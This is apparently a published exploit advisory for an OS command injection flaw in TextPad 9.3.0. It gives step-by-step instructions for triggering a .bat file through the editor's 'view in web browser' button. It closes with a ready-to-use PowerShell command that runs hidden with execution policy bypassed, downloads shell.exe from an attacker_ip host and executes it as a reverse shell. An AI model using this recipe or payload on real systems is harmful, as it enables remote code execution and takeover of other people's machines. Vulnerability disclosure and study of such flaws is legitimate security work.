TextPad 9.3.0 Command Injection

Exploit Title: TextPad v9.3.0 - OS Command Injection
    Discovered by: Ahmet Ümit BAYRAM
    Discovered Date: 17.09.2023
    Vendor Homepage: https://www.textpad.com
    Software Link: https://www.textpad.com/file?path=v9/setupv9.exe
    Tested Version: v9.3.0 (latest)
    Tested on: Windows 2019 Server 64bit
    Steps to Reproduce
    
    Open TextPad.
    Create a .bat file containing your reverse shell command.
    In TextPad, go to the File menu and click on Open….
    Select the .bat file you created.
    Click on the globe icon (view in web browser).
    Your reverse shell should now be active, connecting back to your listener.
    
    Example of Reverse Shell Command in .bat
    
    To set up a reverse shell in a .bat file, you can use the following command:
    
    @echo off
    powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-WebRequest
    -Uri http://attacker_ip:port -OutFile %TEMP%\shell.exe; Start-Process
    %TEMP%\shell.exe"